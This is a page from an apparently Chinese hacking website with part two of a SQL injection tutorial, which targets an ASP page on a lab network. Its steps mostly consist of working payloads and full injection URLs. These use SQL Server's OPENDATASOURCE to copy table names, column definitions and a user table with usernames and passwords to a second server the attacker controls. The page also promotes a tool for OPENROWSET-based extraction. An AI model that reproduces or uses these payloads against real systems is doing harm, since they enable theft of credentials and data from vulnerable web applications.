黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑客常识 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]取代黑客注入工具NBSI2
      ★★★★★

取代黑客注入工具NBSI2

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-9-29 8:49:16

第二步:得到当前库的所有表名
语句为:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
这个语句省略了当前库名,得到的就是当前库的所有表名。你也可以把语句换成:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from bbsuser.dbo.sysobjects where xtype='U'--
我们来做下测试,
此时,我们再跑到192.168.8.20去看lcx.dbo.biao这里的数据,你会看到什么?
是不是我们已经获取了当前库的所有表名呢?好学的你肯定又要问了,那么我如何获得其它库的所有表名呢?很简单呀,基本语句格式如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--
这里的库名我们在第一步里已经猜出来了。

第三步:获取列名
有没有看到我们获得的第一个列名是bbsuser,其ID值是357576312?有了这两条信息,我们来获取列名吧。在获取列名之前,我们要在192.168.8.20上先做一步工作,复制一个系统表结构。在我先前建好的lcx库中执行语句:
select * into [tmpcolumns] from syscolumns where 1=2
这样会把系统表syscolumns的结构复制给[tmpcolumns。
我们来获取bbsuser这个表的所有列名,因为ID值是357576312,所以我们的语句是:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.tmpcolumns select * from
syscolumns where id=357576312--

再回到192.168.8.20上看一下lcx.dbo.tmpcolum这个表里边是什么内容,
看到了吧?得到了bbsuser的所有列名,还有列名的一些其它信息。这里的其它信息也是有用的,给我们下一步获得字段值的工作做好了准备。这里我只解释两个列名的意思。其中length是你获取的列名的长度,xtype是你获取的列名的类型。也许你要问了,为什么获取的类型怎么都是56、175这样的数字呢?我查了一些资料,找到了数字与类型对应的关系,关系表如下:
when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ‘int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''

第四步:获取字段值
有了注入数据库的当前库名、表名、列名的所有信息后,我们就可以获取这段值了。我们先在192.168.8.20上根据在获得的信息在lcx这个库来建一个新表bbsuser,列名分别是id(int类型长度是4)、username(char类型长度是10)、password(char类型长度是 10)。如果你不明白这步,你仔细看一下和那个数字与类型的对照表。我在192.168.8.20的企业管理器上已经建好了.
获取注入数据库当前库所有信息的工作要一步到位,注入语句如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
在注入点上执行就是:
http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
我们来看一下最终究竟有没有成功?到192.168.8.20上的lcx.dbo.bbsuser上去抓个图,自然是成功了。
小提示:当在获取字段值的时候,建的表名、列名不一定要与注入库的完全一样,只要类型相符就可以了。

这样我们一步一步地把注入点的当前库的所有信息全部搬到本地来了。可能你说我的方法虽然不错,但毕竟没有用工具爽。目前我还没有见到用 Opendatasource来获取注入信息的工具,倒是用Openrowset来获取注入信息的工具我已经找到了。下边我就来简单介绍一下它的用法。
工具是老外写的,名字是DataThiefV1.0.exe,软件运行界面.
像我要注入http://192.168.8.10/web/f.asp?password=1的话,构建的环境.

小提示:如果你注入的地址是字符型的,在URL地址里要写http://192.168.8.10/web/f.asp?password=1&#39;; <***>这样的格式,要带单引号。如果是数字型的话,就要写成了http://192.168.8.10/web/f.asp?password=1; <***>,去掉单引号。

点GO,获取信息的速度真是飞快呀,估计和我在内网测试有关,呵呵。
如果你对Openrowset这个宏不了解的话,你自己抓包分析吧,我就不再罗嗦了。最后希望这篇文章对大家实现注入的方法多一种思路和启发,在这篇文章的基础上来进一步探索Opendatasource和Openrowset的用法。

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:aman 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886